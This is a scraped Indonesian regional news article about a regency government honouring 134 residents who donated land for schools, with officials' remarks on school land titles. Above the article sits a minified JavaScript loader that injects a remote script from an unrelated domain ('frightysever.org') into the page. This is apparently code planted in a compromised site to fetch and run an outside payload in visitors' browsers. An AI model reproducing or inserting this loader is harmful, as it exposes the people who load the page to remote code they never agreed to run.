(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Sebanyak 134 warga menerima penghargaan dari Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) setelah memberikan hibah tanah untuk sarana pendidikan.
Penghargaan sebagai bentuk apresiasi diserahkan secara simbolis Penjabat (Pj) Bupati HSU Zakly Asswan kepada ahli waris tanah sekolah di gedung Agung Pemkab HSU, Jum’at (31/5/2024) siang.
Baca juga: Resmi! PPP Keluarkan Rekomendasi Aditya Maju Pilwali Banjarbaru
Pj Bupati HSU, Zakly Asswan mengucapkan terima kasih dan penghargaan yang setinggi-tingginya kepada ahli waris yang dengan penuh keikhlasan telah mewakafkan tanah untuk kepentingan pendidikan bagi warga HSU.
“Saya terkesan kepada ahli waris ini yang sudah memberikan tanahnya. Ini sangat luar biasa dan sangat bermanfaat dan berguna bagi orang banyak,” ungkapnya.
Baca juga: Aturan Baru Arab Saudi: Pemegang Visa Ziarah Dilarang Masuk Makkah hingga 23 Juni 2024
Zakly mengatakan, kepada ahli waris tanah sekolah menjadi teladan dalam memberikan kontribusi yang sangat penting dan bermanfaat bagi pengembangan peningkatan kualitas sarana dan prasarana pendidikan.
Sumbangan dan bantuan dari keluarga ahli dapat menambah semangat dalam mengemban amanah dalam mendidik dan mengajar anak-anak. Agar mereka tumbuh menjadi generasi sumber daya manusia yang cerdas, unggul, dan berkualitas.
“Semoga apa yang telah diwakafkan dan disumbangkan untuk kepentingan lembaga pendidikan dan pengajaran menjadi amal jariyah yang pahalanya akan terus menerus mengalir,” pungkasnya.
Baca juga: “Jum’at Berbagi” Polres HSU Sediakan Makanan dan Minuman Gratis
Sementara itu, Kepala Dinas Pendidikan dan Kebudayaan HSU, Jumadi mengatakan, penyerahan pengahargaan dalam rangka silaturahmi antara pemerintah daerah dengan warga yang dengan keluhuran, kebesaran, dan kelegaan hati sudi untuk berbagi menghibahkan tanahnya, sehingga dafat dimanfaatkan untuk fasilitas pendidikan.
“Saat ini digunakan oleh Pemerintah Kabupaten HSU sebagai tempat untuk melaksanakan pendidikan anak-anak dan generasi muda dalam rangka untuk meningkatkan mutu sumber daya manusia,” katanya.
Kadisdikbud menyebut saat ini untuk Pemerintah Kabupaten HSU memiliki urusan pendidikan bidang SMP sebanyak 30 satuan pendidikan dan SD sebanyak 180 satuan pendidikan, dan Taman kanak-kanak (TK) 9 satuan pendidikan negeri, lainnya swasta.
Untuk SD di Kabupaten HSU saat ini, status tanah belum milik daerah sebanyak 20 satuan pendidikan.
Baca juga: Baznas HSU Salurkan ZIS untuk 55 Guru Ngaji Kampung
Karena, belum ketemu titik perbincangan dengan pemerintah daerah dan masih belum status legalitas atas sertifikat pemerintah daerah.
“Sampai dengan saat ini urusan terkait dengan masalah status sekolah sesuai arahan KPK kita sudah menuju ke 80 persen penyelesaian. Artinya, kebesaran, keluhuran, dan kebaikan dari masyarakat terutama ahli waris tidak ada niat dari pemerintah daerah untuk merubah, mengalihkan, menjual ataupun merubah status pemakaiannya,” jelasnya.
Tidak lupa ia juga mengucapkan terima kasih yang sebesar-besarnya karena sudah menghibahkan dan menyerahkan status kepemilikan tanah dengan status atas nama pemerintah daerah.
“Jadi, sertifikatnya kuat sebagai bahan kita untuk mengajukan usulan seperti perbaikan, permohonan dana, rehab sekolah kepada pemerintah pusat.
Baca juga: Indonesia Surga Wisata Petualangan dan Olahraga Ekstrem
Karena, ada aturan dari KPK dan BPK bahwa setiap uang negara yang dibangun kepada sarana dan prasarana status tanahnya harus dengan legalitas atas nama pemerintah daerah,” katanya.
“Sekolah adalah pelayanan dasar urusan wajib yang harus dilaksanakan oleh pemerintah daerah bersama-sama dengan masyarakat dan para orangtua. Mudah-mudahan yang sisanya ada 20 sekolah bisa kita selesaikan dengan cara titik temunya bagaimana nanti strategi untuk menyelesaikannya,” tutupnya. (Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.